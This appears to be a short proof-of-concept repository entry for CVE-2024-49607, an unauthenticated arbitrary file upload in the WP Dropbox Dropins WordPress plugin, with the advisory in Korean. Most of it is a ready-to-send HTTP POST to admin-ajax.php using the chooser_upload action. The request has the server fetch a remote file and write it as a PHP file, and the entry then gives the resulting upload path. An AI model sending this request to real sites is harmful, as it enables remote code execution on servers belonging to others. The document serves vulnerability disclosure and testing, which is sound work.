randomrobbiebf/cve-2024-49607WP Dropbox Dropins <= 1.0 - 인증되지 않은 임의 파일 업로드
WP Dropbox Dropins <= 1.0 - 인증되지 않은 임의 파일 업로드
WordPress용 WP Dropbox Dropins 플러그인은 1.0을 포함한 모든 버전에서 임의 파일 업로드에 취약합니다. 이로 인해 인증되지 않은 공격자가 영향을 받는 사이트의 서버에 임의의 파일을 업로드할 수 있으며, 이로 인해 원격 코드 실행이 가능해질 수 있습니다.
Published: 2024-10-17 00:00:00
CVE: CVE-2024-49607
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: wp-dropbox-dropins
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://kubernetes.docker.internal
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 102
action=chooser_upload&data[filename]=dropbox-uploads/test.php&data[url]=https://rfi.nessus.org/rfi.txt
http://kubernetes.docker.internal/wp-content/uploads/2024/11/dropbox-uploads/test.php 경로로 업로드되었습니다.